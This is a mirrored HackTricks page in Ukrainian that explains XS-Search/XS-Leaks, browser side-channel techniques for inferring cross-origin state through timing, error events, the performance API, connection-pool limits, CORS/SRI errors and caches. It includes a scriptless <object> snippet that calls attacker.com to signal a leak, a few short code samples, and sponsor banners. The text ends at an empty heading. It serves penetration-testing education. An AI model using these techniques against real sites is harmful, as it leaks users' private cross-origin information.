Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-25 14:10:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search
History
CPol a7bfd36df7
GitBook: No commit message
2024-04-06 19:41:21 +00:00
..
css-injection Translated to Ukranian 2024-03-29 19:49:46 +01:00
connection-pool-by-destination-example.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
connection-pool-example.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
cookie-bomb-+-onerror-xs-leak.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
event-loop-blocking-+-lazy-images.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
javascript-execution-xs-leak.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
performance.now-+-force-heavy-task.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
performance.now-example.md Translated to Ukranian 2024-03-29 19:49:46 +01:00
README.md GitBook: No commit message 2024-04-06 19:41:21 +00:00
url-max-length-client-side.md Translated to Ukranian 2024-03-29 19:49:46 +01:00

README.md

XS-Search/XS-Leaks

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна Інформація

XS-Пошук - це метод, який використовується для вилучення інформації між джерелами за допомогою вразливостей бічного каналу.

Ключові компоненти, що беруть участь у цьому нападі, включають:

  • Вразливий Веб: Це цільовий веб-сайт, з якого має бути вилучена інформація.
  • Веб Атакуючого: Це зловмисний веб-сайт, створений атакуючим, який відвідує жертва, де розміщується експлойт.
  • Метод Включення: Техніка, яка використовується для включення Вразливого Вебу в Веб Атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо).
  • Техніка Витоку: Техніки, які використовуються для виявлення різниць у стані Вразливого Вебу на основі інформації, зібраної за допомогою методу включення.
  • Стани: Два потенційні стани Вразливого Вебу, які атакуючий має розрізняти.
  • Виявлені Різниці: Спостережні відмінності, на яких атакуючий покладається для висновків про стан Вразливого Вебу.

Виявлені Різниці

Декілька аспектів можна проаналізувати для розрізнення станів Вразливого Вебу:

  • Код Статусу: Розрізнення між різними кодами статусу відповіді HTTP між джерелами, такими як помилки сервера, помилки клієнта або помилки аутентифікації.
  • Використання API: Виявлення використання веб-API на сторінках, що розкриває, чи використовує сторінка між джерелами певний JavaScript веб-API.
  • Перенаправлення: Виявлення переходів на різні сторінки, не лише HTTP-перенаправлення, але й ті, які викликаються JavaScript або HTML.
  • Вміст Сторінки: Спостереження відмінностей у тілі відповіді HTTP або у підресурсах сторінки, таких як кількість вбудованих кадрів або розмірні різниці в зображеннях.
  • Заголовок HTTP: Виявлення наявності або, можливо, значення конкретного заголовка відповіді HTTP, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.
  • Час: Спостереження постійних різниць у часі між двома станами.

Методи Включення

  • HTML Елементи: HTML пропонує різні елементи для включення ресурсів між джерелами, такі як таблиці стилів, зображення або скрипти, що змушують браузер запитувати не-HTML ресурс. Перелік потенційних HTML елементів для цієї мети можна знайти за посиланням https://github.com/cure53/HTTPLeaks.
  • Кадри: Елементи, такі як iframe, object та embed, можуть вбудовувати HTML-ресурси безпосередньо на сторінку атакуючого. Якщо сторінка не має захисту від кадрування, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow.
  • Виринаючі Вікна: Метод window.open відкриває ресурс у новій вкладці або вікні, надаючи вказівник вікна для взаємодії JavaScript з методами та властивостями відповідно до SOP. Виринаючі вікна, часто використовуються в одноразовій автентифікації, обходять обмеження кадрування та файлів cookie цільового ресурсу. Однак сучасні браузери обмежують створення виринаючих вікон до певних дій користувача.
  • Запити JavaScript: JavaScript дозволяє прямі запити до цільових ресурсів за допомогою XMLHttpRequests або Fetch API. Ці методи пропонують точний контроль над запитом, наприклад, можливість вибору слідувати за HTTP-перенаправленнями.

Техніки Витоку

  • Обробник Подій: Класична техніка витоку в XS-Витоках, де обробники подій, такі як onload та onerror, надають відомості про успішне завантаження ресурсу або про його невдачу.
  • Повідомлення про Помилки: Винятки JavaScript або спеціальні сторінки помилок можуть надати інформацію про витік, або різницю між його наявністю та відсутністю.
  • Глобальні Обмеження: Фізичні обмеження браузера, такі як обсяг пам'яті або інші обов'язкові обмеження браузера, можуть сигналізувати про досягнення певного порогу, служачи як техніка витоку.
  • Глобальний Стан: Виявлення взаємодій з глобальними станами браузера (наприклад, інтерфейс Історії) може бути використано. Наприклад, кількість записів в історії браузера може надати вказівки про сторінки між джерелами.
  • API Продуктивності: Це API надає деталі продуктивності поточної сторінки, включаючи час мережі для документа та завантажених ресурсів, дозволяючи робити висновки про запитані ресурси.
  • Читані Атрибути: Деякі атрибути HTML читаються між джерелами і можуть бути використані як техніка витоку. Наприклад, властивість window.frame.length дозволяє JavaScript підрахувати кадри, включені на сторінці між джерелами.

Інструмент та Документ XSinator

XSinator - це автоматичний інструмент для перевірки браузерів на кілька відомих XS-Витоків, пояснених у його документі: https://xsinator.com/paper.pdf

Ви можете отримати доступ до інструменту за посиланням https://xsinator.com/

{% hint style="warning" %} Виключені XS-Витоки: Нам довелося виключити XS-Витоки, які ґрунтуються на роботі службовців через можливість втручання в інші витоки в XSinator. Крім того, ми вирішили виключити XS-Витоки, які ґрунтуються на неправильній конфігурації та помилках у конкретному веб-додатку. Наприклад, неправильні налаштування обміну ресурсами між джерелами (CORS), витоки через postMessage або міжсайтовий скриптинг. Крім того, ми виключили XS-Витоки, які ґрунтуються на часі, оскільки вони часто стикаються з повільністю, шумом та неточністю. {% endhint %}


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Техніки, що базуються на часі

Деякі з наступних технік використовують час як частину процесу для виявлення різниці в можливих станах веб-сторінок. Існують різні способи вимірювання часу в веб-браузері.

Годинники: API performance.now() дозволяє розробникам отримувати високороздільні вимірювання часу.
Існує значна кількість API, які зловмисники можуть використовувати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-анімації та інші.
Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Техніки обробника подій

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Приклад коду спробує завантажити об'єкти скриптів з JS, але інші теги, такі як об'єкти, таблиці стилів, зображення, аудіо також можуть бути використані. Більше того, можливо також вбудувати тег безпосередньо та вказати події onload та onerror всередині тегу (замість вбудовування їх з JS).

Існує також версія цього нападу без скриптів:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Час завантаження

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Час завантаження + Примусове важке завдання

Ця техніка схожа на попередню, але атакуючий також примусово виконає деяку дію, щоб зайняти значну кількість часу, коли відповідь позитивна або негативна, і виміряти цей час.

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Час вивантаження/передвивантаження

Час, необхідний для отримання ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на нову сторінку, тоді як подія unload відбувається під час фактичного переходу. Різницю в часі між цими двома подіями можна розрахувати для визначення тривалості, яку браузер витратив на отримання ресурсу.

Час фрейму з обмеженим доступом + onload

Було помічено, що відсутність захисту від фреймів дозволяє атакуючому вимірювати час, необхідний для завантаження сторінки та її підресурсів через мережу. Це вимірювання зазвичай можливе, оскільки обробник onload фрейму спрацьовує лише після завершення завантаження ресурсів та виконання JavaScript. Щоб обійти змінність, введену виконанням скриптів, атакуючий може використовувати атрибут sandbox всередині тегу <iframe>. Включення цього атрибуту обмежує численні функціональності, зокрема виконання JavaScript, тим самим сприяючи вимірюванню, яке переважно впливає на мережеву продуктивність.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + помилка + onload

  • Методи включення: Фрейми
  • Виявлення різниці: Вміст сторінки
  • Додаткова інформація:
  • Опис: Якщо ви можете змусити сторінку видаляти помилку при доступі до правильного вмісту і завантажувати його правильно при доступі до будь-якого вмісту, то ви можете створити цикл для вилучення всієї інформації без вимірювання часу.
  • Приклад коду:

Припустимо, що ви можете вставити сторінку, яка містить секретний вміст в Iframe.

Ви можете змусити жертву шукати файл, який містить "прапорець" за допомогою Iframe (експлуатуючи CSRF, наприклад). Усередині Iframe ви знаєте, що подія onload буде виконана завжди принаймні один раз. Потім ви можете змінити URL iframe, змінивши лише вміст хешу всередині URL.

Наприклад:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Якщо перший URL був успішно завантажений, то, коли змінюється частина хешу URL, подія onload не буде викликана знову. Але якщо сторінка мала якусь помилку при завантаженні, тоді подія onload буде викликана знову.

Тоді ви можете відрізнити між правильно завантаженою сторінкою або сторінкою, яка має помилку при доступі.

Виконання Javascript

  • Методи включення: Фрейми
  • Виявлення різниці: Вміст сторінки
  • Додаткова інформація:
  • Опис: Якщо сторінка повертає чутливий вміст, або вміст, який може бути контрольований користувачем. Користувач може встановити дійсний JS код у від'ємному випадку, і завантажити кожну спробу всередині <script> тегів, тому в від'ємних випадках код атакувальників виконується, а в позитивних випадках нічого не буде виконано.
  • Приклад коду:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Методи включення: HTML-елементи
  • Виявлення різниці: Код статусу та заголовки
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Опис: Блокування читання з крос-домену (CORB) - це захисний захід, який запобігає завантаженню певних чутливих ресурсів з крос-домену для захисту від атак, таких як Spectre. Однак атакувальники можуть експлуатувати його захисну поведінку. Коли відповідь, яка підлягає CORB, повертає захищений CORB Content-Type з nosniff та кодом статусу 2xx, CORB видаляє тіло та заголовки відповіді. Атакувальники, спостерігаючи це, можуть вивести комбінацію коду статусу (що вказує на успіх або помилку) та Content-Type (що позначає, чи він захищений CORB), що призводить до потенційного витоку інформації.
  • Приклад коду:

Перевірте посилання на додаткову інформацію для отримання більше інформації про атаку.

onblur

Можливо завантажити сторінку всередину iframe та використовувати #id_value, щоб сторінка фокусувалася на елементі iframe з вказаним id, тоді, якщо спрацює сигнал onblur, елемент ID існує.
Ви можете виконати ту ж саму атаку з тегами portal.

Повідомлення postMessage Broadcasts

  • Методи включення: Фрейми, Виринаючі вікна
  • Виявлення різниці: Використання API
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Опис: Збір чутливої інформації з postMessage або використання наявності postMessages як оракулу для знання статусу користувача на сторінці
  • Приклад коду: Будь-який код, який слухає всі postMessages.

Додатки часто використовують повідомлення postMessage для спілкування між різними джерелами. Однак цей метод може ненавмисно викрити чутливу інформацію, якщо параметр targetOrigin не вказаний належним чином, дозволяючи будь-якому вікну отримувати повідомлення. Крім того, саме отримання повідомлення може діяти як оракул; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Тому наявність або відсутність цих повідомлень може розкрити інформацію про стан або ідентичність користувача, наприклад, чи автентифікований він чи ні.

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Глобальні техніки обмежень

WebSocket API

Можливо визначити, чи, і скільки, підключень WebSocket використовує цільова сторінка. Це дозволяє атакувальнику виявити стани додатків та витік інформації, пов'язаної з кількістю підключень WebSocket.

Якщо одне джерело використовує максимальну кількість об'єктів підключення WebSocket, незалежно від їх стану підключення, створення нових об'єктів призведе до виникнення винятків JavaScript. Для виконання цієї атаки веб-сайт атакувальника відкриває цільовий веб-сайт у виринаючому вікні або iframe, а потім, після завантаження цільової веб-сторінки, намагається створити максимальну кількість можливих підключень WebSocket. Кількість викинутих винятків - це кількість підключень WebSocket, використованих веб-сайтом цільової сторінки.

Платіжний API

  • Методи включення: Фрейми, Випливаючі вікна
  • Виявна різниця: Використання API
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.1)
  • Опис: Виявлення запиту на оплату, оскільки може бути активним лише один.
  • Приклад коду: https://xsinator.com/testing.html#Payment%20API%20Leak

Цей XS-Leak дозволяє атакуючому виявляти, коли стороння сторінка ініціює запит на оплату.

Оскільки може бути активним лише один запит на оплату, якщо цільовий веб-сайт використовує API запиту на оплату, будь-які подальші спроби використання цього API будуть невдалими, і викличуть виняток JavaScript. Атакуючий може використовувати це, періодично намагаючись показати інтерфейс API оплати. Якщо одна спроба викликає виняток, цільовий веб-сайт в даний момент використовує його. Атакуючий може приховати ці періодичні спроби, негайно закривши інтерфейс користувача після створення.

Вимірювання петлі подій

  • Методи включення:
  • Виявна різниця: Часування (зазвичай через вміст сторінки, код статусу)
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
  • Опис: Вимірювання часу виконання веб-сторінки, зловживаючи однопотоковою JS петлею подій.
  • Приклад коду:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript працює за моделлю конкурентності однопотокової петлі подій, що означає, що він може виконувати лише одне завдання одночасно. Цю характеристику можна використовувати для вимірювання часу виконання коду з іншого джерела. Атакуючий може вимірювати час виконання свого власного коду в петлі подій, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій буде порожнім. Якщо інші джерела також відправляють події в цей пул, атакуючий може вивести час виконання цих зовнішніх подій, спостерігаючи затримки в виконанні своїх завдань. Цей метод моніторингу петлі подій для виявлення затримок може розкрити час виконання коду з різних джерел, що потенційно може розкрити чутливу інформацію.

{% hint style="warning" %} Під час вимірювання часу виконання можна уникнути мережевих факторів, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, використані на сторінці, перед її завантаженням. {% endhint %}

Зайнята петля подій

  • Методи включення:
  • Виявна різниця: Часування (зазвичай через вміст сторінки, код статусу)
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Опис: Один з методів вимірювання часу виконання веб-операції полягає в умисному блокуванні петлі подій потоку, а потім вимірюванні часу, необхідного для повернення петлі подій до доступності. Вставляючи блокуючу операцію (таку як довге обчислення або синхронний виклик API) в петлю подій та відстежуючи час, необхідний для початку виконання наступного коду, можна зробити висновки про тривалість завдань, які виконувалися в петлі подій під час блокування. Цей метод використовує однопотокову природу петлі подій JavaScript, де завдання виконуються послідовно, і може надати відомості про продуктивність або поведінку інших операцій, які діляться тим самим потоком.
  • Приклад коду:

Значною перевагою техніки вимірювання часу виконання шляхом блокування петлі подій є її потенціал обійти ізоляцію сайту. Ізоляція сайту - це функція безпеки, яка розділяє різні веб-сайти на окремі процеси з метою запобігання зловмисним сайтам прямому доступу до чутливих даних інших сайтів. Однак, впливаючи на час виконання іншого джерела через спільну петлю подій, атакуючий може опосередковано отримати інформацію про діяльність цього джерела. Цей метод не ґрунтується на прямому доступі до даних іншого джерела, а спостерігає за впливом діяльності цього джерела на спільну петлю подій, уникнувши захисних бар'єрів, встановлених ізоляцією сайту.

{% hint style="warning" %} Під час вимірювання часу виконання можна уникнути мережевих факторів, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, використані на сторінці, перед її завантаженням. {% endhint %}

Пул з'єднань

  • Методи включення: Запити JavaScript
  • Виявна різниця: Часування (зазвичай через вміст сторінки, код статусу)
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Опис: Атакуючий може заблокувати всі сокети, крім одного, завантажити цільовий веб та одночасно завантажити іншу сторінку, час до початку завантаження останньої сторінки - це час, який зайняло завантаження цільової сторінки.
  • Приклад коду:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Браузери використовують сокети для зв'язку з сервером, але через обмежені ресурси операційної системи та обладнання браузери змушені накладати обмеження на кількість одночасних сокетів. Атакуючі можуть використовувати це обмеження за допомогою наступних кроків:

  1. Визначте обмеження сокетів браузера, наприклад, 256 глобальних сокетів.
  2. Займіть 255 сокетів на тривалий час, ініціюючи 255 запитів до різних хостів, призначених для утримання відкритих з'єднань без завершення.
  3. Використовуйте 256-й сокет для відправлення запиту на цільову сторінку.
  4. Спробуйте 257-й запит до іншого хоста. Оскільки всі сокети використовуються (згідно з кроками 2 та 3), цей запит буде поставлений в чергу, поки не стане доступним сокет. Затримка перед виконанням цього запиту надає атакуючому інформацію про часову активність мережі, пов'язану з 256-м сокетом (сокетом цільової сторінки). Цей висновок можливий, оскільки 255 сокетів з кроку 2 все ще зайняті, що означає, що будь-який новий доступний сокет повинен бути тим, який був звільнений з кроку 3. Час, необхідний для доступності 256-го сокета, безпосередньо пов'язаний з часом, необхідним для завершення запиту на цільову сторінку.

Для отримання додаткової інформації: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Пул з'єднань за місцем призначення

  • Методи включення: Запити JavaScript
  • Виявна різниця: Часування (зазвичай через вміст сторінки, код статусу)
  • Додаткова інформація:
  • Опис: Це схоже на попередню техніку, але замість використання всіх сокетів Google Chrome встановлює обмеження на 6 одночасних запитів до одного джерела. Якщо ми блокуємо 5 і потім запускаємо 6-й запит, ми можемо виміряти його час, і якщо нам вдасться змусити цільову сторінку відправити більше запитів до того ж кінцевого пункту, щоб виявити статус сторінки, 6-й запит займе більше часу, і ми можемо це виявити.

Техніки API продуктивності

API продуктивності надає відомості про метрики продуктивності веб-додатків, додатково збагачені API часу ресурсів. API часу ресурсів дозволяє відстежувати детальні часи мережевих запитів, такі як тривалість запитів. Зокрема, коли сервери включають заголовок Timing-Allow-Origin: * у свої відповіді, стають доступними додаткові дані, такі як розмір передачі та час пошуку домену.

Цю велику кількість даних можна отримати за допомогою методів, таких як performance.getEntries або performance.getEntriesByName, що надають всебічний погляд на інформацію, пов'язану з продуктивністю. Крім того, API сприяє вимірюванню часів виконання, розраховуючи різницю між мітками часу, отриманими з performance.now(). Однак варто зауважити, що для певних операцій у браузерах, таких як Chrome, точність performance.now() може бути обмежена до мілісекунд, що може вплинути на деталізацію вимірювань часу.

Поза вимірюванням часу, API продуктивності може бути використаний для отримання відомостей, пов'язаних з безпекою. Наприклад, наявність або відсутність сторінок у об'єкті performance в Chrome може вказувати на застосування X-Frame-Options. Зокрема, якщо сторінка блокується від відображення в рамці через X-Frame-Options, вона не буде записана в об'єкт performance, надаючи тонкий підказку про політику відображення сторінки.

Витік помилки

Можливо відрізнити коди статусу відповіді HTTP, оскільки запити, які призводять до помилок, не створюють запис про продуктивність.

Помилка перезавантаження стилю

У попередній техніці також виявлено два випадки, коли помилки браузера в GC призводять до подвійного завантаження ресурсів, якщо вони не вдаються завантажити. Це призведе до кількох записів у API продуктивності і може бути виявлено.

Помилка об'єднання запитів

Техніка була знайдена в таблиці у згаданій статті, але на ній не було знайдено опису техніки. Однак ви можете знайти вихідний код, перевіряючи його за посиланням https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Витік порожньої сторінки

Атакувач може виявити, чи запит призвів до порожнього тіла відповіді HTTP, оскільки порожні сторінки не створюють запису про продуктивність в деяких браузерах.

Витік XSS-Auditor

  • Методи включення: Рамки
  • Виявлення різниці: Вміст сторінки
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.2)
  • Опис: Використовуючи XSS Auditor у Security Assertions, атакувачі можуть виявити конкретні елементи веб-сторінки, спостерігаючи зміни в відповідях, коли створені навмисні навантаження викликають фільтрування аудитора.
  • Приклад коду: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання атакам Cross-Site Scripting (XSS), може протирічно бути використаний для витоку чутливої інформації. Хоча цю вбудовану функцію вилучено з Google Chrome (GC), вона все ще присутня в SA. У 2013 році Браун та Хайдеріх продемонстрували, що XSS Auditor може ненавмисно блокувати законні скрипти, що призводить до помилкових позитивів. На цій основі дослідники розробили техніки для вилучення інформації та виявлення конкретного вмісту на сторінках з крос-походженням, концепція відома як XS-Leaks, спочатку повідомлена Терадою та розроблена Хейсом у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записів у API продуктивності, розкриваючи метод, за допомогою якого все ще може відбуватися витік чутливої інформації.

Витік X-Frame

Якщо сторінці не дозволено бути відображеною в iframe, вона не створює запис про продуктивність. В результаті атакувач може виявити заголовок відповіді X-Frame-Options.
Те ж саме стосується використання тегу вбудовування.

Виявлення завантаження

Аналогічно до описаного XS-Leak, ресурс, який завантажується через заголовок ContentDisposition, також не створює запис про продуктивність. Ця техніка працює у всіх основних браузерах.

Початок перенаправлення витік

Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для запитів між джерелами. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для ресурсів між джерелами. Однак в SA можливо виявити, чи перенаправляється користувач на цільову сторінку, запитуючи API продуктивності та перевіряючи дані про час redirectStart.

Витік тривалості перенаправлення

У GC тривалість для запитів, які призводять до перенаправлення, є від'ємною і, таким чином, може бути відрізненою від запитів, які не призводять до перенаправлення.

Витік CORP

У деяких випадках запис nextHopProtocol може бути використаний як техніка витоку. У GC, коли встановлено заголовок CORP, nextHopProtocol буде порожнім. Зверніть увагу, що SA не створить жодного запису про продуктивність для ресурсів, які підтримують CORP.

Робочий процес службовця

Службовці - це контексти скриптів, що працюють за подіями, які запускаються на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та кешувати ресурси, щоб створювати веб-додатки для роботи в автономному режимі.
Якщо ресурс, кешований службовцем, доступний через iframe, ресурс буде завантажено з кешу службовця.
Для виявлення того, чи ресурс був завантажений з кешу службовця, можна використовувати API продуктивності.
Це також можна зробити за допомогою атаки за часом (див. статтю для отримання додаткової інформації).

Кеш

За допомогою API продуктивності можна перевірити, чи ресурс збережено в кеші.

Тривалість мережі

Техніка повідомлень про помилки

Помилка медіа

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS Помилка

  • Методи включення: Fetch API
  • Виявлення різниці: Заголовок
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.3)
  • Опис: У Security Assertions (SA) повідомлення про помилку CORS ненавмисно викривають повний URL перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#CORS%20Error%20Leak

Ця техніка дозволяє атакуючому витягти місце призначення перенаправлення сайту з іншого походження, використовуючи те, як браузери на основі Webkit обробляють запити CORS. Зокрема, коли запит, включений CORS, відправляється на цільовий сайт, який видає перенаправлення на основі стану користувача, і браузер відмовляється від запиту, повний URL цільового перенаправлення розкривається у повідомленні про помилку. Ця уразливість не лише розкриває факт перенаправлення, але також викриває кінцеву точку перенаправлення та будь-які чутливі параметри запиту, які він може містити.

Помилка SRI

  • Методи включення: Fetch API
  • Виявлення різниці: Заголовок
  • Додаткова інформація: https://xsinator.com/paper.pdf (5.3)
  • Опис: У Security Assertions (SA) повідомлення про помилку CORS ненавмисно викривають повний URL перенаправлених запитів.
  • Приклад коду: https://xsinator.com/testing.html#SRI%20Error%20Leak

Атакуючий може використати розгорнуті повідомлення про помилку, щоб визначити розмір відповідей з іншого походження. Це можливо завдяки механізму цілісності підджерел (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, часто завантажені з CDN, не були підмінені. Для роботи SRI з ресурсами з іншого походження вони повинні бути включені CORS; в іншому випадку вони не підлягають перевірці цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, після того, як запит на отримання з цілісністю атрибуту завершиться невдачею, можна захопити повідомлення про помилку. Атакувачі можуть навмисно спровокувати цю помилку, призначивши фальшиве значення хешу атрибуту цілісності будь-якому запиту. У SA отримане повідомлення про помилку ненавмисно розкриває довжину вмісту запитаного ресурсу. Це витік інформації дозволяє атакуючому розрізняти варіації розміру відповіді, відкриваючи шлях для складних атак XS-Leak.

Порушення/Виявлення CSP

XS-Leak може використовувати CSP для виявлення того, чи був сайт з іншого походження перенаправлений на інше походження. Цей витік може виявити перенаправлення, але, крім того, витікає домен цільового перенаправлення. Основна ідея цього нападу полягає в тому, щоб дозволити домену-цілі на сайті атакуючого. Після того, як запит відправлено на домен-ціль, він перенаправляється на домен з іншого походження. CSP блокує доступ до нього і створює звіт про порушення, який використовується як техніка витоку. Залежно від браузера, цей звіт може витікати місце призначення перенаправлення.
Сучасні браузери не вказують URL, на який відбулося перенаправлення, але все одно можна виявити, що було спровоковано перенаправлення з іншого походження.

Кеш

Браузери можуть використовувати один загальний кеш для всіх веб-сайтів. Незалежно від їх походження, можна визначити, чи цільова сторінка запитала певний файл.

Якщо сторінка завантажує зображення лише у разі входу користувача, ви можете анулювати ресурс (так щоб він більше не був в кеші, якщо був, див. додаткову інформацію), виконати запит, який може завантажити цей ресурс і спробувати завантажити ресурс з поганим запитом (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу не спричинило жодної помилки, це означає, що він був закешований.

Директива CSP

Нова функція в Google Chrome (GC) дозволяє веб-сторінкам пропонувати політику безпеки контенту (CSP), встановлюючи атрибут на елементі iframe, з директивами політики, які передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен дозволити це через HTTP-заголовок, або відображається сторінка помилки. Однак якщо iframe вже керується CSP і нова запропонована політика не є більш обмежувальною, сторінка буде завантажуватися нормально. Цей механізм відкриває шлях для атакуючого виявити конкретні директиви CSP сторінки з іншого походження, ідентифікуючи сторінку помилки. Хоча цю уразливість відзначено як виправлену, наші висновки показують нову техніку витоку, здатну виявляти сторінку помилки, що свідчить про те, що основна проблема ніколи не була повністю вирішена.

CORP

CORB

Перевірте посилання для отримання додаткової інформації про атаку.

Помилка CORS на неправильній конфігурації відображення походження

У випадку, коли заголовок Origin відображається у заголовку Access-Control-Allow-Origin, атакувальник може використовувати цю поведінку, щоб спробувати отримати ресурс у режимі CORS. Якщо помилка не викликається, це означає, що ресурс було правильно отримано з мережі, якщо виникає помилка, це означає, що він був отриманий з кешу (помилка виникає через те, що кеш зберігає відповідь з заголовком CORS, який дозволяє оригінальному домену, а не домену атакувальника).
Зверніть увагу, що якщо походження не відображається, а використовується символ підстановки (Access-Control-Allow-Origin: *), це не працюватиме.

Техніка читання атрибутів

Перенаправлення Fetch

Подання запиту за допомогою Fetch API з параметром redirect: "manual" та іншими параметрами дозволяє прочитати атрибут response.type, і якщо він дорівнює opaqueredirect, то відповідь була перенаправлена.

COOP

Атакувальник може визначити наявність заголовка Cross-Origin Opener Policy (COOP) у відповіді HTTP з перехресного походження. COOP використовується веб-додатками для унеможливлення зовнішнім сайтам отримання довільних посилань на вікна. Наявність цього заголовка можна визначити, спробувавши отримати посилання contentWindow. У випадках, коли COOP застосовується умовно, властивість opener стає показовим індикатором: вона не визначена, коли COOP активна, і визначена в її відсутності.

Максимальна довжина URL - Серверна сторона

  • Методи включення: Fetch API, HTML-елементи
  • Виявлення різниці: Код статусу / Вміст
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
  • Опис: Виявлення різниці в відповідях через те, що довжина відповіді на перенаправлення може бути занадто великою, що сервер відповідає помилкою, і генерується сповіщення.
  • Приклад коду: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

Якщо перенаправлення на серверній стороні використовує введення користувача у перенаправленні та додаткові дані, можна виявити цю поведінку, оскільки зазвичай сервери мають обмеження на довжину запиту. Якщо дані користувача мають таку довжину - 1, оскільки перенаправлення використовує ці дані та додає щось додаткове, це спричинить помилку, яку можна виявити за допомогою подій помилок.

Якщо ви якось можете встановити файли cookie користувачу, ви також можете виконати цю атаку, встановивши достатньо файлів cookie (cookie bomb), таким чином, з збільшенням розміру відповіді правильної відповіді виникає помилка. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного сайту, <script> автоматично надсилатиме файли cookie (таким чином, ви можете перевірити наявність помилок).
Приклад cookie bomb + XS-Search можна знайти в призначеному рішенні цього огляду: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

Зазвичай для цього типу атаки потрібно мати SameSite=None або бути в одному контексті.

Максимальна довжина URL - Клієнтська сторона

